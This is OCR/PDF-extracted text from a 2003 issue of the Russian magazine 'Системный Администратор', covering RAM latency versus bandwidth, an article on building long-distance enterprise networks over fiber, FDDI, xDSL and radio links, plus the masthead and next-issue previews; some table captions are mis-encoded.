Òàáëèöà 3. Íàáèâêà ïàìÿòè â ñëîòû íà Intel 875P è åå âëèÿíèåíà ïðîèçâîäèòåëüíîñòü (1 – íàèâûñøèé ðåéòèíã).

Òàáëèöà 4. Íàáèâêà ïàìÿòè â ñëîòû íà Intel 875P è åå âëèÿ-íèå íà ïðîèçâîäèòåëüíîñòü (1 – íàèâûñøèé ðåéòèíã).

Page 90: 007 Системный Администратор 06 2003

88

hardware

VIII. Все! Остается лишь добавить латентность кэш-кон-троллеров всех иерархий и латентность самого про-цессора, но это уже тема другого разговора, к опе-ративной памяти прямого отношения не имеющая.

� если требуемая DRAM-страница закрыта, но банк ненаходится на регенерации, контроллер памяти пере-дает адрес строки, вырабатывает сигнал RAS, ждет 2или 3 такта, пока микросхема его «переварит», и пе-реходит к сценарию I.

� если же банк находится на регенерации, контроллеруприходится подождать от одного до трех тактов, покаона не будет завершена.

Приложение 3Латентность противпропускной способностиС точки зрения пользователя PC главная характеристикапамяти – это скорость или, другими словами, ее быстро-действие. Казалось бы, измерить быстродействие просто.Достаточно подсчитать количество информации, выдава-емой памятью в единицу времени (скажем, мегабайт всекунду), и… ничего не получится! Дело в том, что времядоступа к памяти непостоянно и в зависимости от харак-тера обращений варьируется в очень широких пределах.Наибольшая скорость достигается при последовательномчтении, а наименьшая – при чтении вразброс. Но и этоеще не все! Современные модули памяти имеют несколь-ко независимых банков и потому позволяют обрабатыватьболее одного запроса параллельно.

Если запросы следуют друг за другом непрерывным по-током, непрерывно генерируются и ответы. Несмотря нато, что задержка между поступлением запроса и выдачейсоответствующего ему ответа может быть весьма велика,в данном случае это не играет никакой роли, поскольку ла-тентность (т. е. величина данной задержки) полностью мас-кируется конвейеризацией и производительность памятиопределяется исключительно ее пропускной способностью.Можно провести следующую аналогию: пусть сборка од-ного отдельного взятого Мерседеса занимает, скажем, це-лый месяц. Однако если множество машин собирается па-

раллельно, завод может выдавать хоть по сотне Мерседе-сов в день, и его «пропускная способность» в большей сте-пени определяется именно количеством сборочных линий,а не временем сборки каждой машины. В настоящее вре-мя практически все производители оперативной памятимаркируют свою продукцию именно в пропускной способ-ности, но наблюдающийся в последнее время стремитель-ный рост пропускной способности адекватного увеличенияпроизводительности приложений, как это ни странно, невызывает. Почему?

Основной камень преткновения – фундаментальнаяпроблема зависимости по данным. Рассмотрим следую-щую ситуацию. Пусть ячейка N 1 хранит указатель на ячей-ку N 2, содержащую обрабатываемые данные. До тех порпока мы не получим содержимое ячейки N 1, мы не смо-жем послать запрос на чтение ячейки N 2, поскольку ещене знаем ее адреса. Следовательно, производительностьпамяти в данном случае будет определяться не пропуск-ной способностью, а латентностью. Причем не латентно-стью микросхемы памяти, а латентностью всей подсисте-мы памяти – кэш-контроллером, системной шиной, набо-ром системной логики… Латентность всего этого хозяй-ства очень велика и составляет порядка 20 тактов сис-темной шины, что многократно превышает полное времядоступа к ячейке оперативной памяти. Таким образом, приобработке зависимых данных быстродействие памяти во-обще не играет никакой роли: и SDRAM PC100, и RDRAM-800 покажут практически идентичный результат!

Причем описываемый случай отнюдь не является на-думанным, скорее наоборот, это типичная ситуация. Ос-новные структуры данных (такие, как деревья и списки)имеют ярко выраженную зависимость по данным, посколь-ку объединяют свои элементы именно посредством ука-зателей, что «съедает» весь выигрыш от быстродействиямикросхем памяти.

1 На самом деле кэш-линейки P-4 делятся на две по-ловинки, загружающих свое содержимое независимо другот друга.

2 NA: not available – не поддерживается.

Page 91: 007 Системный Администратор 06 2003
Page 92: 007 Системный Администратор 06 2003

90

cети

ДАЛЬНЯЯ СВЯЗЬ. КАК ЭТО БЫВАЕТ

ДЕНИС ЕЛАНСКИЙ

Page 93: 007 Системный Администратор 06 2003

91№6(7), июнь 2003

сети

Позволю себе немного пофантазировать: предположим,нужно сделать сеть. Чего бы проще? А как быть, еслирасстояния между подсетями от 5 до 1000 километров?Тоже вроде бы не проблема – арендуй линию у провайде-ра и не мучайся. Можно купить широкий канал, можнопоуже – какие проблемы? А что делать, когда до ближай-шего провайдера расстояние такое же, как и до наиболееудаленного подразделения?

А вот теперь исходные данные: расстояния – значи-тельные (от 5 до 1000 км), инфраструктуры практическиникакой (ни магистральных линий, ни обычных телефон-ных кабелей) и болота, болота, тайга, комары и прочийгнус, плюс суровый климат: градиент температуры – гра-дусов 80.

И в этих условиях надо построить интерсеть дляпредприятия. Дальше я рассмотрю некоторые техноло-гии, которые были использованы при реализации про-екта (все-таки оно заработало) и сделаю некоторыеобобщения на основании собственного опыта, получен-ного от этой работы.

LANИзначально локальные вычислительные сети предназна-чались для объединения вычислительных машин в пре-делах малых зданий. Причиной тому была низкая пропус-кная способность сети (которая при увеличении рабочихрасстояний снижалась экспоненциально), а также отсут-ствие подходящих алгоритмов и средств передачи. Одна-ко с развитием этого направления, с возникновением стан-дартов, описывающих высокоскоростные сети, с появле-нием новых материалов, позволяющих расширить ради-ус сегмента сети, стало возможным использование ло-кальных сетей для создания достаточно протяженныхструктур с высокой пропускной способностью.

Среди множества технологий локальных сетей для по-строения магистральных каналов дальнего действия сто-ит рассматривать оптико-волоконные Ethernet-сети. Со-временные реализации этого направления позволяютдостичь скорости передачи в 10 Гб/с, а с учетом дуплекс-ности (одновременной приемопередачи) – 20Гб/с. Приэтом, используя технологию объединения каналов, пред-ложенную Cisco Systems (EtherChannel), номинальная ско-рость передачи данных может быть увеличена еще в 8раз. Естественно, что полезная производительность ка-нала Ethernet значительно ниже, т.к. существенную частьтрафика составляет служебная информация.

Технология Ethernet характеризуется алгоритмамиCSMA/CD и CSMA/CA. Оба этих алгоритма определяютмножественный доступ с контролем несущей и различа-ются лишь методом борьбы с коллизиями: в первом слу-

чае это обнаружение коллизий, во втором – избежание. Влюбом случае, при соединении типа точка-точка при пол-нодуплексной передаче коллизий данных не возникает.

Длина сегмента зависит от типа оптического носителя(одномодовое или многомодовое оптоволокно использу-ется), от типа передатчика и от длины световой волны.

К преимуществам этой технологии можно отнести:� высокая скорость передачи данных (до 160 Гб/с);� значительные расстояния, которые могут быть пере-

крыты сегментом сети (существующие 40 километров,очевидно, не предел – существует отчетливая тенден-ция к увеличению дистанций);

� помехозащищенность (эта положительная черта соот-ветствует не столько технологии Ethernet, сколько тех-нологиям передачи данных по оптоволокну).

К недостаткам метода нельзя не отнести следующие:� высокая стоимость линий;� недостатки технологии Ethernet (избыточность служеб-

ной информации, понижающая полезную пропускнуюспособность канала);

� проблемы, связанные с использованием оптоволокна(физическая хрупкость, способность к замутнению сер-дечника и потере проводимости).

MANК классу городских сетей принято относить вычислитель-ные сети, построенные на базе технологии FDDI.

Технология FDDI во многом основывается на техноло-гии Token Ring, развивая и совершенствуя ее основныеидеи. Разработчики технологии FDDI ставили перед со-бой в качестве наиболее приоритетных следующие цели:� Повысить битовую скорость передачи данных до 100 Мб/с.� Повысить отказоустойчивость сети за счет стандарт-

ных процедур восстановления ее после отказов раз-личного рода: повреждения кабеля, некорректной ра-боты узла, концентратора, возникновения высокогоуровня помех на линии и т. п.

� Максимально эффективно использовать потенциаль-ную пропускную способность сети как для асинхрон-ного, так и для синхронного трафиков.

Сеть FDDI строится на основе двух оптоволоконныхколец, которые образуют основной и резервный пути пе-редачи данных между узлами сети. Использование двухколец – это основной способ повышения отказоустойчи-вости в сети FDDI, и узлы, которые хотят им воспользо-ваться, должны быть подключены к обоим кольцам. В нор-мальном режиме работы сети данные проходят через все

Òàáëèöà 1. Äàëüíîäåéñòâèå îïòîâîëîêîííûõ ñåòåé Ethernet.

Page 94: 007 Системный Администратор 06 2003

92

cети

узлы и все участки кабеля первичного (Primary) кольца,поэтому этот режим назван режимом Thru: «сквозным»или «транзитным». Вторичное кольцо (Secondary) в этомрежиме не используется.

В случае какого-либо вида отказа, когда часть первич-ного кольца не может передавать данные (например, об-рыв кабеля или отказ узла), первичное кольцо объединя-ется со вторичным, образуя вновь единое кольцо. Этотрежим работы сети называется Wrap, то есть «свертыва-ние» или «сворачивание» колец. Операция свертыванияпроизводится силами концентраторов и/или сетевых адап-теров FDDI. Для упрощения этой процедуры данные попервичному кольцу всегда передаются против часовойстрелки, а по вторичному – по часовой. Поэтому при об-разовании общего кольца из двух колец передатчики стан-ций по-прежнему остаются подключенными к приемникамсоседних станций, что позволяет правильно передавать ипринимать информацию соседними станциями.

Кольца в сетях FDDI рассматриваются как общая раз-деляемая среда передачи данных, поэтому для нее опре-делен специальный метод доступа. Этот метод очень бли-зок к методу доступа сетей Token Ring и также называет-ся методом маркерного (или токенного) кольца.

В таблице 2 представлены результаты сравнения тех-нологии FDDI с технологиями Ethernet и Token Ring.

Помимо FDDI существуют решения SDDI и UDDI, отли-чающиеся только средой передачи (экранированная инеэкранированная витая пара соответственно).

WANГоворя о глобальных сетях, стоит различать логические ифизические технологии сетей. Под физическими WAN ябуду понимать методы создания физического канала, ли-нии передачи, а под логическими WAN – способ инкапсу-

ляции, технологию передачи. В настоящее время суще-ствуют и широко используются несколько технологий, от-носящихся к глобальным сетям: xDSL, ISDN, Frame Relay,ATM и SDH. Но поскольку основной задачей исследова-ния является подбор технологий для построения глобаль-ных каналов в крайне неблагоприятной среде, техноло-гии ATM и SDH (та компонента, которая отвечает за ка-нал передачи данных, во всяком случае) из рассмотренияисключаются по причине высокой стоимости и требова-тельности к каналам передачи данных, а о Frame Relay иISDN писали достаточно много, чтобы делать это снова.

xDSLСуществует несколько стандартов класса xDSL. Их общиехарактеристики (скорость, дальность, топология) приво-дятся в таблице 3.

Наиболее перспективной отечественной разработ-кой в области xDSL является система MEGATRANS-2L.С целью достижения требуемых параметров по даль-ности и помехозащищенности оборудования использу-ется несимметричная, адаптивная многопозиционнаямодуляция с регулируемым уровнем. В новом поколе-нии оборудования применяется алгоритм АналоговойОбработки и Коррекции Сигнала (АОКС). АлгоритмАОКС позволяет оптимизировать работу системы накабелях с диаметром жил от 0,8 до 1,2 мм и тем самымдобиться дальнейшего увеличения дальности работы.На сегодняшний день система MEGATRANS-2L обеспе-чивает большую дальность работы (длину участка ре-генерации), чем любая другая цифровая система пере-дачи той же пропускной способности.

Система передачи MEGATRANS-2L гарантированно ра-ботоспособна на всех сегментах кабельной линии, гдеможет быть успешно применена аналоговая аппаратура

Òàáëèöà 2. Ñðàâíåíèå õàðàêòåðèñòèê ñåòåé FDDI, Ethernet è Token Ring.

Page 95: 007 Системный Администратор 06 2003

93№6(7), июнь 2003

сети

типа К-60. Более того, в ряде случаев системаMEGATRANS-2L обеспечивает больший «запас устойчи-вости» при ухудшении параметров кабельной линии, чемсистемы К-60.

Линейный тракт рассчитан главным образом на рабо-ту по симметричным электрическим кабелям связи, од-нако возможна работа системы и по коаксиальным кабе-

лям. Приведенные ниже параметры даны для работы посимметричным кабелям.

Оконечное оборудование линейного тракта имеет стан-дартные интерфейсы G.703 (формат кадра G.704) длясопряжения с любыми системами, поддерживающимиданный стандарт, например, непосредственно с оборудо-ванием коммутации каналов (цифровой АТС), оборудова-

Òàáëèöà 3. Ñòàíäàðòû xDSL.

Òàáëèöà 4. Îñíîâíûå õàðàêòåðèñòèêè Nateks-Microlink STM-1

Page 96: 007 Системный Администратор 06 2003

94

cети

нием временного разделения (мультиплексором) или ком-мутации пакетов (IP, ATM, FR и т. д.).

При замыкании, асимметрии или обрыве кабельныхпар дистанционное питание отключается. Предусмотре-на возможность определения поврежденного сегментапутем реверса полярности дистанционного питания.

Беспроводные системы связиРассмотренные ранее случаи предполагали использова-ние существующих, либо прокладку новых кабельных си-стем. Однако в случаях, когда подобная операция невоз-можна, целесообразно обратиться к беспроводным лини-ям связи. Беспроводные (радио-) каналы можно разде-лить на мультиплексируемые (ISDN-подобные) и немуль-типлексируемые (Ethernet-подобные). К первому типу от-носится оборудование Natex (Natex Mikrolink SDH), а ковторому – радиомосты Cisco AirNet 350.

Эти технологии позволяют ретранслировать сигнална расстоянии до 60 км (расстояние зависит от типа ис-пользуемых антенн, от погодно-климатических условийи рельефа).

Оборудование класса Nateks-Microlink SDH используетсядля построения радиорелейных линий уровня STM-1. Онопозволяет создавать как однопролетные, так и много-пролетные линейные и кольцевые радиорелейные линиис резервированием. Длина одного пролета РРЛ-линииможет составлять от 5 до 60 км. Так же могут организо-вываться РРЛ с частотным или пространственным раз-носом приемников и передатчиков. Nateks-Microlink SDHможет быть встроена в телекоммуникационные сети, от-вечающие стандартам SDH/SONET, и является высоко-производительным решением для беспроводной переда-чи информации по этим сетям, резервирования и/или до-ступа к ним. Система поддерживает транспортные про-токолы АТМ и IP по SDH. Оборудование может быть со-единено с мультиплексором доступа и управляться се-тевым менеджментом SDH, превращаясь в часть сквоз-ного SDH-решения. Поддерживается трафик АТМ 155Мбит/с и ЕЗ/ТЗ и Fast Ethernet.

В таблице 4 приводятся общие характеристики обору-дования и получаемого канала передачи.

Для построения недорогих, но при этом достаточно про-изводительных радиоканалов, возможно использованиетехнологии Ethernet. Подобную функциональность предо-ставляет радиомост Cisco Air Net 350.

Это устройство обеспечивает передачу данных на ско-рости 11 Мб/с на расстояния до 40 км (дальность и ско-рость, как и у Микролинк, зависит от погодно-климати-ческих условий и рельефа местности, а также от типа ис-

пользуемой антенны). Основными преимуществами сис-темы является простота установки, настройки и эксплуа-тации. Кроме того, не требуется дополнительное обору-дование для сопряжения беспроводного тракта передачис локальными сетями: мост имеет два интерфейса: RJ-45для подключения к ЛВС и два высокочастотных интер-фейса для подключения к антеннам. Другим положитель-ным моментом при использовании Cisco Air Net 350 явля-ются его мостовые функции, позволяющие осуществлятьразбиение сети на домены широковещания.

Предоставляемые сервисы подходят для последова-тельного объединения локальных сетей, при этом для по-строения магистральной линии данная технология не при-емлема по причине низкой пропускной способности и осо-бенностей технологии Ethernet.

ЗаключениеНу а теперь попробую подвести некоторый итог, посчи-тать сухой остаток.

В рассмотренном выше материале предлагаются раз-личные методы построения линий связи дальнего дей-ствия как в условиях наличия, так и отсутствия каких-либопроводных сетей. Предлагаются способы построения ло-кальных объединений, а также магистральных каналов сширокой полосой пропускания.

В таблице 5 отражены сводные результаты проведен-ной работы.

Приводимая рекомендация неабсолютна, т.к. носитобщий характер и не учитывает местной специфики, та-кой как финансовые возможности, реальные потребно-сти в качестве связи, априорно существующие возмож-ности и т. п.

При этом она и неголословна – все решения были ис-пользованы в проекте, речь о котором шла в самом нача-ле статьи. Другое дело, что конкретные условия могут от-личаться в зависимости от места реализации, так что этаусловность неизбежно внесет некие коррективы. На мойвзгляд, сколь я могу себе его позволить, наиболее перс-пективным для внедрения направлением является техно-логия беспроводных SDH, позволяющая высокоскороснуюпроизводительную передачу данных на большие рассто-яния с высокими возможностями мультиплексирования.

Òàáëèöà 5. Ïðèìåíÿåìàÿ òåõíîëîãèÿ â çàâèñèìîñòè îò íàçíà÷åíèÿ êàíàëà è ðàçâèòîñòè ìåñòíîé èíôðàñòðóêòóðû.

Ññûëêè â òåìó:

www.xdsl.ruwww.citforum.ruwww.cisco.comwww.nateks.ruwww.nortel.comhttp://lattice.itep.ru

Page 97: 007 Системный Администратор 06 2003

95№6(7), июнь 2003

Альтернативная подписка: ООО «Интер-Почта»

по тел. (095) 500-00-60

Курьерская доставка по Москве

Рады видетьВас нашимичитателями!

Единыйподписнойиндекс:

81655по каталогуагентства«Роспечать»

8165581655816558165581655

8165581655816558165581655

подписка

Page 98: 007 Системный Администратор 06 2003

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№6(7), Июнь, 2003 год

РЕДАКЦИЯ

Исполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир Лукин

РЕКЛАМНАЯ СЛУЖБАтел.: (095) 928-8253 (доб. 112)факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]

Дизайн обложкиНиколай Петрочук

103012, г. Москва,Ветошный переулок, дом 13/15тел.: (095) 928-8253 (доб. 112)факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр Положевец

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейООО «Мастер Печати»Тираж 5000 экз.

Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственностьнесет автор. За содержание рекламно-го обьявления ответственность несетрекламодатель. Все права на опубли-кованные материалы защищены. Ре-дакция оставляет за собой право изме-нять содержание следующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Настройка сервера SSHСервис Telnet обеспечивает базовуюэмуляцию терминалов удаленных си-стем, поддерживающих протоколTelnet над протоколом TCP/IP. Обес-печивается эмуляция терминаловDigital Equipment Corporation VT 100,Digital Equipment Corporation VT 52,TTY. Любые команды, выполняемыес помощью Telnet, обрабатываютсяtelnet-сервером, а не локальным ком-пьютером. Пользователь лишь видитрезультат выполнения этих команд.

Для использования Telnet на уда-ленном компьютере должен быть ус-тановлен Telnet-демон. Практическив каждой операционной системе су-ществует утилита telnet, которая яв-ляется клиентом для протокола Тelnet.

Неявный самоконтролькак средство созданиянеломаемых защитОсновная ошибка подавляющего боль-шинства разработчиков защитных ме-ханизмов состоит в том, что они даютявно понять хакеру, что защита еще невзломана. Если защита сообщает «не-верный ключевой файл (пароль)», тохакер ищет тот код, который ее выво-дит и анализирует условия, которыеприводят к передаче управления наданную ветку программы. Если защи-та в случае неудачной аутентификацииблокирует некоторые элементы управ-ления и/или пункты меню, хакер либоснимает такую блокировку в «лоб»,либо устанавливает точки останова (впросторечии называемые «бряками»)на API-функции, посредством которыхтакое блокирование может быть осу-ществлено (как правило, это EnableWindows), после чего он опять-такиоказывается в непосредственной бли-зости от защитного механизма, кото-рый ничего не стоит проанализироватьи взломать.

Стартовые скрипты FreeBSDЗнакомство с системой зачастую на-чинается с ее установки и настройки,причем эти два процесса обычно со-вмещены. Для систем Unix настройкасводится к созданию текстовых фай-лов конфигурации. В FreeBSD основ-ная работа идет над файлом /etc/rc.conf, который является частью сис-темы стартовых скриптов /etc/rc*.

Настроить систему после установ-ки можно путем запуска /stand/sysinstall или вручную. Оба способахороши, а первый к тому же лишеннедостатка большинства программавтоматической настройки: уже за-данные параметры не перезаписыва-ются, а добавляются в конец файла/etc/rc.conf, где их можно затем отре-дактировать под собственные нуждыили вообще удалить, чтобы вернуть-ся к настройкам по умолчанию.

Каким видитсяхороший администраторХороший системный администратор –как много в этих трех словах отзывает-ся в сердце любого начальника. В са-мом деле, как распознать хорошегосистемного администратора среди пре-тендентов на вакантное место? Ведьчто ни говори, сисадмин в компании –одно из самых незаметных лиц и в тоже время одно из самых важных. Ведьименно от него (от них, если их много)зависит, будут ли «бесперебойно рабо-тать» ваши сотрудники, и сможете ливы гарантировать хоть какой-то уровеньобслуживания своим клиентам.

Почему, собственно, PythonАдминистраторы БД очень часто нуж-даются в инструментах для автомати-зации разной рутинной работы, на-пример, для загрузки, преобразова-ний данных в разного рода форматы,для сбора и анализа различной ста-тистики. В свое время для меня та-кой палочкой-выручалочкой стал Perl.Через некоторое время я набрел наPython. Что я хочу сказать после годазнакомства: практичный и полезныйинструмент.